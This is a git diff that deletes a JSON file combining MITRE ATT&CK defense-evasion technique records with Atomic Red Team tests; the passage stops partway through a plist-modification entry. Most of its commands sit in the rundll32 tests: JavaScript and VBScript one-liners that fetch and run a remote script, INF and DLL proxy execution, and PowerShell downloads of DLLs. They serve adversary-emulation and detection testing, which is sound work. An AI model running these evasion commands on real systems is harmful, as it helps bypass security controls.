diff --git "a/yamltojson.json" "b/yamltojson.json"
deleted file mode 100644--- "a/yamltojson.json"
+++ /dev/null
@@ -1,93351 +0,0 @@
-[
- {
- "category": "defense-evasion",
- "data": {
- "T1055.011": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298",
- "type": "attack-pattern",
- "created": "2020-01-14T17:18:32.126Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.011",
- "url": "https://attack.mitre.org/techniques/T1055/011"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
- "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
- "source_name": "Microsoft Window Classes"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx",
- "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
- "source_name": "Microsoft GetWindowLong function"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx",
- "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
- "source_name": "Microsoft SetWindowLong function"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
- "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
- "source_name": "MalwareTech Power Loader Aug 2013"
- },
- {
- "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
- "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
- "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx",
- "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
- "source_name": "Microsoft SendNotifyMessage function"
- }
- ],
- "modified": "2020-11-10T18:29:31.004Z",
- "name": "Extra Window Memory Injection",
- "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory
and CreateRemoteThread
.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ]
- },
- "atomic_tests": []
- },
- "T1066": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:54.176Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1066",
- "external_id": "T1066"
- }
- ],
- "modified": "2020-03-20T15:22:53.835Z",
- "name": "Indicator Removal from Tools",
- "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Log analysis",
- "Host intrusion prevention systems",
- "Anti-virus"
- ]
- },
- "atomic_tests": []
- },
- "T1218.011": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Gareth Phillips, Seek Ltd.",
- "Casey Smith",
- "Ricardo Dias",
- "James_inthe_box, Me"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
- "created": "2020-01-23T18:03:46.248Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.011",
- "url": "https://attack.mitre.org/techniques/T1218/011"
- },
- {
- "source_name": "rundll32.exe defense evasion",
- "url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/",
- "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022."
- },
- {
- "source_name": "Attackify Rundll32.exe Obscurity",
- "url": "https://www.attackify.com/blog/rundll32_execution_order/",
- "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021."
- },
- {
- "source_name": "This is Security Command Line Confusion",
- "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/",
- "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018."
- },
- {
- "source_name": "Github NoRunDll",
- "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll",
- "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021."
- },
- {
- "source_name": "Trend Micro CPL",
- "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
- "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}
).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL
and Control_RunDLLAsUser
. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"
This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction
, rundll32.exe would first attempt to execute ExampleFunctionW
, or failing that ExampleFunctionA
, before loading ExampleFunction
). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W
and/or A
to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1
).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ",
- "modified": "2022-04-19T18:12:39.357Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Signed Binary Proxy Execution: Rundll32",
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Command: Command Execution",
- "Process: Process Creation",
- "File: File Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Digital Certificate Validation",
- "Application control",
- "Anti-virus"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1218.011"
- },
- "atomic_tests": [
- {
- "name": "Rundll32 execute JavaScript Remote Payload With GetObject",
- "auto_generated_guid": "57ba4ce9-ee7a-4f27-9928-3c70c489b59d",
- "description": "Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. \nThis has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)\n\nNote: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_url": {
- "description": "location of the payload",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct"
- }
- },
- "executor": {
- "command": "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:#{file_url}\").Exec();window.close();\n",
- "cleanup_command": "taskkill /IM notepad.exe /f\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Rundll32 execute VBscript command",
- "auto_generated_guid": "638730e7-7aed-43dc-bf8c-8117f805f5bb",
- "description": "Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.\nTechnique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/\nUpon execution calc.exe will be launched\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_to_execute": {
- "description": "Command for rundll32.exe to execute",
- "type": "string",
- "default": "calc.exe"
- }
- },
- "executor": {
- "command": "rundll32 vbscript:\"\\..\\mshtml,RunHTMLApplication \"+String(CreateObject(\"WScript.Shell\").Run(\"#{command_to_execute}\"),0)\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Rundll32 execute VBscript command using Ordinal number",
- "auto_generated_guid": "32d1cf1b-cbc2-4c09-8d05-07ec5c83a821",
- "description": "Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.\nTechnique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/\nUpon execution calc.exe will be launched\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_to_execute": {
- "description": "Command for rundll32.exe to execute",
- "type": "string",
- "default": "calc.exe"
- }
- },
- "executor": {
- "command": "rundll32 vbscript:\"\\..\\mshtml,#135 \"+String(CreateObject(\"WScript.Shell\").Run(\"#{command_to_execute}\"),0)\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Rundll32 advpack.dll Execution",
- "auto_generated_guid": "d91cae26-7fc1-457b-a854-34c8aad48c89",
- "description": "Test execution of a command using rundll32.exe with advpack.dll.\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml\nUpon execution calc.exe will be launched\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "inf_to_execute": {
- "description": "Local location of inf file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Inf file must exist on disk at specified location (#{inf_to_execute})\n",
- "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf\" -OutFile \"#{inf_to_execute}\"\n"
- }
- ],
- "executor": {
- "command": "rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Rundll32 ieadvpack.dll Execution",
- "auto_generated_guid": "5e46a58e-cbf6-45ef-a289-ed7754603df9",
- "description": "Test execution of a command using rundll32.exe with ieadvpack.dll.\nUpon execution calc.exe will be launched\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "inf_to_execute": {
- "description": "Local location of inf file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Inf file must exist on disk at specified location (#{inf_to_execute})\n",
- "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf\" -OutFile \"#{inf_to_execute}\"\n"
- }
- ],
- "executor": {
- "command": "rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Rundll32 syssetup.dll Execution",
- "auto_generated_guid": "41fa324a-3946-401e-bbdd-d7991c628125",
- "description": "Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying \"installation failed\" will be opened\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "inf_to_execute": {
- "description": "Local location of inf file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Inf file must exist on disk at specified location (#{inf_to_execute})\n",
- "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf\" -OutFile \"#{inf_to_execute}\"\n"
- }
- ],
- "executor": {
- "command": "rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 #{inf_to_execute}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Rundll32 setupapi.dll Execution",
- "auto_generated_guid": "71d771cd-d6b3-4f34-bc76-a63d47a10b19",
- "description": "Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying \"installation failed\" will be opened\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "inf_to_execute": {
- "description": "Local location of inf file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Inf file must exist on disk at specified location (#{inf_to_execute})\n",
- "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf\" -OutFile \"#{inf_to_execute}\"\n"
- }
- ],
- "executor": {
- "command": "rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 #{inf_to_execute}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Execution of HTA and VBS Files using Rundll32 and URL.dll",
- "auto_generated_guid": "22cfde89-befe-4e15-9753-47306b37a6e3",
- "description": "IcedID uses this TTP as follows:\n rundll32.exe url.dll,OpenURL %PUBLIC%\\index.hta\nTrickbot uses this TTP as follows:\n rundll32.exe URL.dll,FileProtocolHandler C:\\\\..\\\\Detail\\\\akteullen.vbs\n\nIn this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with \"rundll32 spawned wscript\"\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "rundll32.exe url.dll,OpenURL PathToAtomicsFolder\\T1218.011\\src\\index.hta\nrundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\\T1218.011\\src\\akteullen.vbs\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Launches an executable using Rundll32 and pcwutl.dll",
- "auto_generated_guid": "9f5d081a-ee5a-42f9-a04e-b7bdc487e676",
- "description": "Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "exe_to_launch": {
- "description": "Path of the executable to launch",
- "type": "path",
- "default": "%windir%\\System32\\notepad.exe"
- }
- },
- "executor": {
- "command": "rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Execution of non-dll using rundll32.exe",
- "auto_generated_guid": "ae3a8605-b26e-457c-b6b3-2702fd335bac",
- "description": "Rundll32.exe running non-dll \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_url": {
- "description": "Url to download the DLL",
- "type": "url",
- "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll"
- },
- "input_file": {
- "description": "Non-dll file",
- "type": "string",
- "default": "C:\\Users\\$env:username\\Downloads\\calc.png"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Non-dll file must exist on disk at specified location\n",
- "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"#{input_url}\" -OutFile \"#{input_file}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "rundll32.exe #{input_file}, StartW\n"
- }
- },
- {
- "name": "Rundll32 with Ordinal Value",
- "auto_generated_guid": "9fd5a74b-ba89-482a-8a3e-a5feaa3697b0",
- "description": "Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. \nUpon successful execution, Calc.exe will spawn.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_url": {
- "description": "Url to download the DLL",
- "type": "url",
- "default": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/bin/AllTheThingsx64.dll"
- },
- "input_file": {
- "description": "DLL File",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx64.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL file must exist on disk at specified location\n",
- "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"#{input_url}\" -OutFile \"#{input_file}\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "command": "rundll32.exe #{input_file},#2\n"
- }
- },
- {
- "name": "Rundll32 with Control_RunDLL",
- "auto_generated_guid": "e4c04b6f-c492-4782-82c7-3bf75eb8077e",
- "description": "Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_url": {
- "description": "Url to download the DLL",
- "type": "url",
- "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll"
- },
- "input_file": {
- "description": "DLL File",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1047\\bin\\calc.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL file must exist on disk at specified location\n",
- "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"#{input_url}\" -OutFile \"#{input_file}\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "command": "rundll32.exe shell32.dll,Control_RunDLL #{input_file}\n"
- }
- },
- {
- "name": "Rundll32 with desk.cpl",
- "auto_generated_guid": "83a95136-a496-423c-81d3-1c6750133917",
- "description": "Rundll32.exe loading an executable renamed as .scr using desk.cpl \nReference: \n - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)\nSIGMA rules:\n - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)\n - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "exe_to_launch": {
- "description": "Path of the executable to launch",
- "type": "path",
- "default": "%windir%\\System32\\calc.exe"
- }
- },
- "executor": {
- "name": "command_prompt",
- "command": "copy #{exe_to_launch} not_an_scr.scr\nrundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr\n",
- "cleanup_command": "del not_an_scr.scr"
- }
- }
- ]
- },
- "T1143": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1143",
- "url": "https://attack.mitre.org/techniques/T1143"
- },
- {
- "source_name": "PowerShell About 2019",
- "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1",
- "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019."
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
- "source_name": "Antiquated Mac Malware"
- }
- ],
- "modified": "2020-03-13T21:03:18.600Z",
- "name": "Hidden Window",
- "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden
. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement
, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement
or any other suspicious plist tag in plist files and flag them.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1150": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
- "created": "2017-12-14T16:46:06.044Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1150",
- "url": "https://attack.mitre.org/techniques/T1150"
- },
- {
- "source_name": "Sofacy Komplex Trojan",
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": true,
- "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences
(which execute with elevated privileges) and ~/Library/Preferences
(which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)",
- "modified": "2022-04-22T18:49:20.520Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Plist Modification",
- "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Process whitelisting",
- "Whitelisting by file name or path"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
